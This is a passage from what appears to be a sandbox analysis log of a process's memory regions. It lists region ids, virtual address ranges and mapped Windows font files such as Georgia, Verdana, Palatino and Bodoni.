"c:\\windows\\fonts\\gabriola.ttf") Region: id = 894 start_va = 0x5dc0000 end_va = 0x5e9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 895 start_va = 0x710000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgia.ttf" filename = "\\Windows\\Fonts\\georgia.ttf" (normalized: "c:\\windows\\fonts\\georgia.ttf") Region: id = 896 start_va = 0x710000 end_va = 0x736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgia.ttf" filename = "\\Windows\\Fonts\\georgia.ttf" (normalized: "c:\\windows\\fonts\\georgia.ttf") Region: id = 897 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiai.ttf" filename = "\\Windows\\Fonts\\georgiai.ttf" (normalized: "c:\\windows\\fonts\\georgiai.ttf") Region: id = 898 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiai.ttf" filename = "\\Windows\\Fonts\\georgiai.ttf" (normalized: "c:\\windows\\fonts\\georgiai.ttf") Region: id = 899 start_va = 0x710000 end_va = 0x733fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiab.ttf" filename = "\\Windows\\Fonts\\georgiab.ttf" (normalized: "c:\\windows\\fonts\\georgiab.ttf") Region: id = 900 start_va = 0x710000 end_va = 0x733fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiab.ttf" filename = "\\Windows\\Fonts\\georgiab.ttf" (normalized: "c:\\windows\\fonts\\georgiab.ttf") Region: id = 901 start_va = 0x710000 end_va = 0x738fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiaz.ttf" filename = "\\Windows\\Fonts\\georgiaz.ttf" (normalized: "c:\\windows\\fonts\\georgiaz.ttf") Region: id = 902 start_va = 0x710000 end_va = 0x738fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiaz.ttf" filename = "\\Windows\\Fonts\\georgiaz.ttf" (normalized: "c:\\windows\\fonts\\georgiaz.ttf") Region: id = 903 start_va = 0x1290000 end_va = 0x1303fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pala.ttf" filename = "\\Windows\\Fonts\\pala.ttf" (normalized: "c:\\windows\\fonts\\pala.ttf") Region: id = 904 start_va = 0x1290000 end_va = 0x1303fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pala.ttf" filename = "\\Windows\\Fonts\\pala.ttf" (normalized: "c:\\windows\\fonts\\pala.ttf") Region: id = 905 start_va = 0x1290000 end_va = 0x12f5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palai.ttf" filename = "\\Windows\\Fonts\\palai.ttf" (normalized: "c:\\windows\\fonts\\palai.ttf") Region: id = 906 start_va = 0x1290000 end_va = 0x12f5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palai.ttf" filename = "\\Windows\\Fonts\\palai.ttf" (normalized: "c:\\windows\\fonts\\palai.ttf") Region: id = 907 start_va = 0x1290000 end_va = 0x12f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palab.ttf" filename = "\\Windows\\Fonts\\palab.ttf" (normalized: "c:\\windows\\fonts\\palab.ttf") Region: id = 908 start_va = 0x1290000 end_va = 0x12f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palab.ttf" filename = "\\Windows\\Fonts\\palab.ttf" (normalized: "c:\\windows\\fonts\\palab.ttf") Region: id = 909 start_va = 0x1290000 end_va = 0x12e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palabi.ttf" filename = "\\Windows\\Fonts\\palabi.ttf" (normalized: "c:\\windows\\fonts\\palabi.ttf") Region: id = 910 start_va = 0x1290000 end_va = 0x12e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palabi.ttf" filename = "\\Windows\\Fonts\\palabi.ttf" (normalized: "c:\\windows\\fonts\\palabi.ttf") Region: id = 911 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoepr.ttf" filename = "\\Windows\\Fonts\\segoepr.ttf" (normalized: "c:\\windows\\fonts\\segoepr.ttf") Region: id = 912 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoepr.ttf" filename = "\\Windows\\Fonts\\segoepr.ttf" (normalized: "c:\\windows\\fonts\\segoepr.ttf") Region: id = 913 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeprb.ttf" filename = "\\Windows\\Fonts\\segoeprb.ttf" (normalized: "c:\\windows\\fonts\\segoeprb.ttf") Region: id = 914 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeprb.ttf" filename = "\\Windows\\Fonts\\segoeprb.ttf" (normalized: "c:\\windows\\fonts\\segoeprb.ttf") Region: id = 915 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebuc.ttf" filename = "\\Windows\\Fonts\\trebuc.ttf" (normalized: "c:\\windows\\fonts\\trebuc.ttf") Region: id = 916 start_va = 0x710000 end_va = 0x731fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebuc.ttf" filename = "\\Windows\\Fonts\\trebuc.ttf" (normalized: "c:\\windows\\fonts\\trebuc.ttf") Region: id = 917 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucit.ttf" filename = "\\Windows\\Fonts\\trebucit.ttf" (normalized: "c:\\windows\\fonts\\trebucit.ttf") Region: id = 918 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucit.ttf" filename = "\\Windows\\Fonts\\trebucit.ttf" (normalized: "c:\\windows\\fonts\\trebucit.ttf") Region: id = 919 start_va = 0x450000 end_va = 0x46efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbd.ttf" filename = "\\Windows\\Fonts\\trebucbd.ttf" (normalized: "c:\\windows\\fonts\\trebucbd.ttf") Region: id = 920 start_va = 0x450000 end_va = 0x46efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbd.ttf" filename = "\\Windows\\Fonts\\trebucbd.ttf" (normalized: "c:\\windows\\fonts\\trebucbd.ttf") Region: id = 921 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbi.ttf" filename = "\\Windows\\Fonts\\trebucbi.ttf" (normalized: "c:\\windows\\fonts\\trebucbi.ttf") Region: id = 922 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbi.ttf" filename = "\\Windows\\Fonts\\trebucbi.ttf" (normalized: "c:\\windows\\fonts\\trebucbi.ttf") Region: id = 923 start_va = 0x710000 end_va = 0x73dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdana.ttf" filename = "\\Windows\\Fonts\\verdana.ttf" (normalized: "c:\\windows\\fonts\\verdana.ttf") Region: id = 924 start_va = 0x710000 end_va = 0x73dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdana.ttf" filename = "\\Windows\\Fonts\\verdana.ttf" (normalized: "c:\\windows\\fonts\\verdana.ttf") Region: id = 925 start_va = 0x710000 end_va = 0x73bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanai.ttf" filename = "\\Windows\\Fonts\\verdanai.ttf" (normalized: "c:\\windows\\fonts\\verdanai.ttf") Region: id = 926 start_va = 0x710000 end_va = 0x73bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanai.ttf" filename = "\\Windows\\Fonts\\verdanai.ttf" (normalized: "c:\\windows\\fonts\\verdanai.ttf") Region: id = 927 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanab.ttf" filename = "\\Windows\\Fonts\\verdanab.ttf" (normalized: "c:\\windows\\fonts\\verdanab.ttf") Region: id = 928 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanab.ttf" filename = "\\Windows\\Fonts\\verdanab.ttf" (normalized: "c:\\windows\\fonts\\verdanab.ttf") Region: id = 929 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanaz.ttf" filename = "\\Windows\\Fonts\\verdanaz.ttf" (normalized: "c:\\windows\\fonts\\verdanaz.ttf") Region: id = 930 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanaz.ttf" filename = "\\Windows\\Fonts\\verdanaz.ttf" (normalized: "c:\\windows\\fonts\\verdanaz.ttf") Region: id = 931 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "webdings.ttf" filename = "\\Windows\\Fonts\\webdings.ttf" (normalized: "c:\\windows\\fonts\\webdings.ttf") Region: id = 932 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "webdings.ttf" filename = "\\Windows\\Fonts\\webdings.ttf" (normalized: "c:\\windows\\fonts\\webdings.ttf") Region: id = 933 start_va = 0x450000 end_va = 0x455fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coure.fon" filename = "\\Windows\\Fonts\\coure.fon" (normalized: "c:\\windows\\fonts\\coure.fon") Region: id = 934 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "serife.fon" filename = "\\Windows\\Fonts\\serife.fon" (normalized: "c:\\windows\\fonts\\serife.fon") Region: id = 935 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sserife.fon" filename = "\\Windows\\Fonts\\sserife.fon" (normalized: "c:\\windows\\fonts\\sserife.fon") Region: id = 936 start_va = 0x450000 end_va = 0x456fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smalle.fon" filename = "\\Windows\\Fonts\\smalle.fon" (normalized: "c:\\windows\\fonts\\smalle.fon") Region: id = 937 start_va = 0x450000 end_va = 0x455fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smallf.fon" filename = "\\Windows\\Fonts\\smallf.fon" (normalized: "c:\\windows\\fonts\\smallf.fon") Region: id = 938 start_va = 0x5c00000 end_va = 0x5d48fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmala.ttf" filename = "\\Windows\\Fonts\\NIRMALA.TTF" (normalized: "c:\\windows\\fonts\\nirmala.ttf") Region: id = 939 start_va = 0x5c00000 end_va = 0x5d48fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmala.ttf" filename = "\\Windows\\Fonts\\NIRMALA.TTF" (normalized: "c:\\windows\\fonts\\nirmala.ttf") Region: id = 940 start_va = 0x5c00000 end_va = 0x5d3cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmalab.ttf" filename = "\\Windows\\Fonts\\NIRMALAB.TTF" (normalized: "c:\\windows\\fonts\\nirmalab.ttf") Region: id = 941 start_va = 0x5c00000 end_va = 0x5d3cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmalab.ttf" filename = "\\Windows\\Fonts\\NIRMALAB.TTF" (normalized: "c:\\windows\\fonts\\nirmalab.ttf") Region: id = 942 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyb.ttf" filename = "\\Windows\\Fonts\\AGENCYB.TTF" (normalized: "c:\\windows\\fonts\\agencyb.ttf") Region: id = 943 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyb.ttf" filename = "\\Windows\\Fonts\\AGENCYB.TTF" (normalized: "c:\\windows\\fonts\\agencyb.ttf") Region: id = 944 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyr.ttf" filename = "\\Windows\\Fonts\\AGENCYR.TTF" (normalized: "c:\\windows\\fonts\\agencyr.ttf") Region: id = 945 start_va = 0x450000 end_va = 0x45efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyr.ttf" filename = "\\Windows\\Fonts\\AGENCYR.TTF" (normalized: "c:\\windows\\fonts\\agencyr.ttf") Region: id = 946 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alger.ttf" filename = "\\Windows\\Fonts\\ALGER.TTF" (normalized: "c:\\windows\\fonts\\alger.ttf") Region: id = 947 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alger.ttf" filename = "\\Windows\\Fonts\\ALGER.TTF" (normalized: "c:\\windows\\fonts\\alger.ttf") Region: id = 948 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquab.ttf" filename = "\\Windows\\Fonts\\ANTQUAB.TTF" (normalized: "c:\\windows\\fonts\\antquab.ttf") Region: id = 949 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquab.ttf" filename = "\\Windows\\Fonts\\ANTQUAB.TTF" (normalized: "c:\\windows\\fonts\\antquab.ttf") Region: id = 950 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquabi.ttf" filename = "\\Windows\\Fonts\\ANTQUABI.TTF" (normalized: "c:\\windows\\fonts\\antquabi.ttf") Region: id = 951 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquabi.ttf" filename = "\\Windows\\Fonts\\ANTQUABI.TTF" (normalized: "c:\\windows\\fonts\\antquabi.ttf") Region: id = 952 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquai.ttf" filename = "\\Windows\\Fonts\\ANTQUAI.TTF" (normalized: "c:\\windows\\fonts\\antquai.ttf") Region: id = 953 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquai.ttf" filename = "\\Windows\\Fonts\\ANTQUAI.TTF" (normalized: "c:\\windows\\fonts\\antquai.ttf") Region: id = 954 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialn.ttf" filename = "\\Windows\\Fonts\\ARIALN.TTF" (normalized: "c:\\windows\\fonts\\arialn.ttf") Region: id = 955 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialn.ttf" filename = "\\Windows\\Fonts\\ARIALN.TTF" (normalized: "c:\\windows\\fonts\\arialn.ttf") Region: id = 956 start_va = 0x710000 end_va = 0x73cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnb.ttf" filename = "\\Windows\\Fonts\\ARIALNB.TTF" (normalized: "c:\\windows\\fonts\\arialnb.ttf") Region: id = 957 start_va = 0x710000 end_va = 0x73cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnb.ttf" filename = "\\Windows\\Fonts\\ARIALNB.TTF" (normalized: "c:\\windows\\fonts\\arialnb.ttf") Region: id = 958 start_va = 0x710000 end_va = 0x73bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnbi.ttf" filename = "\\Windows\\Fonts\\ARIALNBI.TTF" (normalized: "c:\\windows\\fonts\\arialnbi.ttf") Region: id = 959 start_va = 0x710000 end_va = 0x73bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnbi.ttf" filename = "\\Windows\\Fonts\\ARIALNBI.TTF" (normalized: "c:\\windows\\fonts\\arialnbi.ttf") Region: id = 960 start_va = 0x710000 end_va = 0x73cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialni.ttf" filename = "\\Windows\\Fonts\\ARIALNI.TTF" (normalized: "c:\\windows\\fonts\\arialni.ttf") Region: id = 961 start_va = 0x710000 end_va = 0x73cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialni.ttf" filename = "\\Windows\\Fonts\\ARIALNI.TTF" (normalized: "c:\\windows\\fonts\\arialni.ttf") Region: id = 962 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arlrdbd.ttf" filename = "\\Windows\\Fonts\\ARLRDBD.TTF" (normalized: "c:\\windows\\fonts\\arlrdbd.ttf") Region: id = 963 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arlrdbd.ttf" filename = "\\Windows\\Fonts\\ARLRDBD.TTF" (normalized: "c:\\windows\\fonts\\arlrdbd.ttf") Region: id = 964 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "baskvill.ttf" filename = "\\Windows\\Fonts\\BASKVILL.TTF" (normalized: "c:\\windows\\fonts\\baskvill.ttf") Region: id = 965 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "baskvill.ttf" filename = "\\Windows\\Fonts\\BASKVILL.TTF" (normalized: "c:\\windows\\fonts\\baskvill.ttf") Region: id = 966 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bauhs93.ttf" filename = "\\Windows\\Fonts\\BAUHS93.TTF" (normalized: "c:\\windows\\fonts\\bauhs93.ttf") Region: id = 967 start_va = 0x450000 end_va = 0x45bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bauhs93.ttf" filename = "\\Windows\\Fonts\\BAUHS93.TTF" (normalized: "c:\\windows\\fonts\\bauhs93.ttf") Region: id = 968 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bell.ttf" filename = "\\Windows\\Fonts\\BELL.TTF" (normalized: "c:\\windows\\fonts\\bell.ttf") Region: id = 969 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bell.ttf" filename = "\\Windows\\Fonts\\BELL.TTF" (normalized: "c:\\windows\\fonts\\bell.ttf") Region: id = 970 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bellb.ttf" filename = "\\Windows\\Fonts\\BELLB.TTF" (normalized: "c:\\windows\\fonts\\bellb.ttf") Region: id = 971 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bellb.ttf" filename = "\\Windows\\Fonts\\BELLB.TTF" (normalized: "c:\\windows\\fonts\\bellb.ttf") Region: id = 972 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "belli.ttf" filename = "\\Windows\\Fonts\\BELLI.TTF" (normalized: "c:\\windows\\fonts\\belli.ttf") Region: id = 973 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "belli.ttf" filename = "\\Windows\\Fonts\\BELLI.TTF" (normalized: "c:\\windows\\fonts\\belli.ttf") Region: id = 974 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bernhc.ttf" filename = "\\Windows\\Fonts\\BERNHC.TTF" (normalized: "c:\\windows\\fonts\\bernhc.ttf") Region: id = 975 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bernhc.ttf" filename = "\\Windows\\Fonts\\BERNHC.TTF" (normalized: "c:\\windows\\fonts\\bernhc.ttf") Region: id = 976 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bkant.ttf" filename = "\\Windows\\Fonts\\BKANT.TTF" (normalized: "c:\\windows\\fonts\\bkant.ttf") Region: id = 977 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bkant.ttf" filename = "\\Windows\\Fonts\\BKANT.TTF" (normalized: "c:\\windows\\fonts\\bkant.ttf") Region: id = 978 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_b.ttf" filename = "\\Windows\\Fonts\\BOD_B.TTF" (normalized: "c:\\windows\\fonts\\bod_b.ttf") Region: id = 979 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_b.ttf" filename = "\\Windows\\Fonts\\BOD_B.TTF" (normalized: "c:\\windows\\fonts\\bod_b.ttf") Region: id = 980 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_bi.ttf" filename = "\\Windows\\Fonts\\BOD_BI.TTF" (normalized: "c:\\windows\\fonts\\bod_bi.ttf") Region: id = 981 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_bi.ttf" filename = "\\Windows\\Fonts\\BOD_BI.TTF" (normalized: "c:\\windows\\fonts\\bod_bi.ttf") Region: id = 982 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blai.ttf" filename = "\\Windows\\Fonts\\BOD_BLAI.TTF" (normalized: "c:\\windows\\fonts\\bod_blai.ttf") Region: id = 983 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blai.ttf" filename = "\\Windows\\Fonts\\BOD_BLAI.TTF" (normalized: "c:\\windows\\fonts\\bod_blai.ttf") Region: id = 984 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blar.ttf" filename = "\\Windows\\Fonts\\BOD_BLAR.TTF" (normalized: "c:\\windows\\fonts\\bod_blar.ttf") Region: id = 985 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blar.ttf" filename = "\\Windows\\Fonts\\BOD_BLAR.TTF" (normalized: "c:\\windows\\fonts\\bod_blar.ttf") Region: id = 986 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cb.ttf" filename = "\\Windows\\Fonts\\BOD_CB.TTF" (normalized: "c:\\windows\\fonts\\bod_cb.ttf") Region: id = 987 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cb.ttf" filename = "\\Windows\\Fonts\\BOD_CB.TTF" (normalized: "c:\\windows\\fonts\\bod_cb.ttf") Region: id = 988 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cbi.ttf" filename = "\\Windows\\Fonts\\BOD_CBI.TTF" (normalized: "c:\\windows\\fonts\\bod_cbi.ttf") Region: id = 989 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cbi.ttf" filename = "\\Windows\\Fonts\\BOD_CBI.TTF" (normalized: "c:\\windows\\fonts\\bod_cbi.ttf") Region: id = 990 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_ci.ttf" filename = "\\Windows\\Fonts\\BOD_CI.TTF" (normalized: "c:\\windows\\fonts\\bod_ci.ttf") Region: id = 991 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_ci.ttf" filename = "\\Windows\\Fonts\\BOD_CI.TTF" (normalized: "c:\\windows\\fonts\\bod_ci.ttf") Region: id = 992 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cr.ttf" filename = "\\Windows\\Fonts\\BOD_CR.TTF" (normalized: "c:\\windows\\fonts\\bod_cr.ttf") Region: id = 993 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cr.ttf" filename = "\\Windows\\Fonts\\BOD_CR.TTF" (normalized: "c:\\windows\\fonts\\bod_cr.ttf") Region: id = 994 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_i.ttf" filename = "\\Windows\\Fonts\\BOD_I.TTF" (normalized: "c:\\windows\\fonts\\bod_i.ttf") Region: id = 995 start_va = 0x450000 end_va = 0x465fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_i.ttf" filename = "\\Windows\\Fonts\\BOD_I.TTF" (normalized: "c:\\windows\\fonts\\bod_i.ttf") Region: id = 996 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_pstc.ttf" filename = "\\Windows\\Fonts\\BOD_PSTC.TTF" (normalized: "c:\\windows\\fonts\\bod_pstc.ttf") Region: id = 997 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_pstc.ttf" filename = "\\Windows\\Fonts\\BOD_PSTC.TTF" (normalized: "c:\\windows\\fonts\\bod_pstc.ttf") Region: id = 998 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_r.ttf" filename = "\\Windows\\Fonts\\BOD_R.TTF" (normalized: "c:\\windows\\fonts\\bod_r.ttf") Region: id = 999 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_r.ttf" filename = "\\Windows\\Fonts\\BOD_R.TTF" (normalized: "c:\\windows\\fonts\\bod_r.ttf") Region: id = 1000 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookos.ttf" filename = "\\Windows\\Fonts\\BOOKOS.TTF" (normalized: "c:\\windows\\fonts\\bookos.ttf") Region: id = 1001 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookos.ttf" filename = "\\Windows\\Fonts\\BOOKOS.TTF" (normalized: "c:\\windows\\fonts\\bookos.ttf") Region: id = 1002 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosb.ttf" filename = "\\Windows\\Fonts\\BOOKOSB.TTF" (normalized: "c:\\windows\\fonts\\bookosb.ttf") Region: id = 1003 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosb.ttf" filename = "\\Windows\\Fonts\\BOOKOSB.TTF" (normalized: "c:\\windows\\fonts\\bookosb.ttf") Region: id = 1004 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosbi.ttf" filename = "\\Windows\\Fonts\\BOOKOSBI.TTF" (normalized: "c:\\windows\\fonts\\bookosbi.ttf") Region: id = 1005 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosbi.ttf" filename = "\\Windows\\Fonts\\BOOKOSBI.TTF" (normalized: "c:\\windows\\fonts\\bookosbi.ttf") Region: id = 1006 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosi.ttf" filename = "\\Windows\\Fonts\\BOOKOSI.TTF" (normalized: "c:\\windows\\fonts\\bookosi.ttf") Region: id = 1007 start_va = 0x710000 end_va = 0x737fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosi.ttf" filename = "\\Windows\\Fonts\\BOOKOSI.TTF" (normalized: "c:\\windows\\fonts\\bookosi.ttf") Region: id = 1008 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bradhitc.ttf" filename = "\\Windows\\Fonts\\BRADHITC.TTF" (normalized: "c:\\windows\\fonts\\bradhitc.ttf") Region: id = 1009 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bradhitc.ttf" filename = "\\Windows\\Fonts\\BRADHITC.TTF" (normalized: "c:\\windows\\fonts\\bradhitc.ttf") Region: id = 1010 start_va = 0x450000 end_va = 0x459fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "britanic.ttf" filename = "\\Windows\\Fonts\\BRITANIC.TTF" (normalized: "c:\\windows\\fonts\\britanic.ttf") Region: id = 1011 start_va = 0x450000 end_va = 0x459fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "britanic.ttf" filename = "\\Windows\\Fonts\\BRITANIC.TTF" (normalized: "c:\\windows\\fonts\\britanic.ttf") Region: id = 1012 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsb.ttf" filename = "\\Windows\\Fonts\\BRLNSB.TTF" (normalized: "c:\\windows\\fonts\\brlnsb.ttf") Region: id = 1013 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsb.ttf" filename = "\\Windows\\Fonts\\BRLNSB.TTF" (normalized: "c:\\windows\\fonts\\brlnsb.ttf") Region: id = 1014 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsdb.ttf" filename = "\\Windows\\Fonts\\BRLNSDB.TTF" (normalized: "c:\\windows\\fonts\\brlnsdb.ttf") Region: id = 1015 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsdb.ttf" filename = "\\Windows\\Fonts\\BRLNSDB.TTF" (normalized: "c:\\windows\\fonts\\brlnsdb.ttf") Region: id = 1016 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsr.ttf" filename = "\\Windows\\Fonts\\BRLNSR.TTF" (normalized: "c:\\windows\\fonts\\brlnsr.ttf") Region: id = 1017 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = 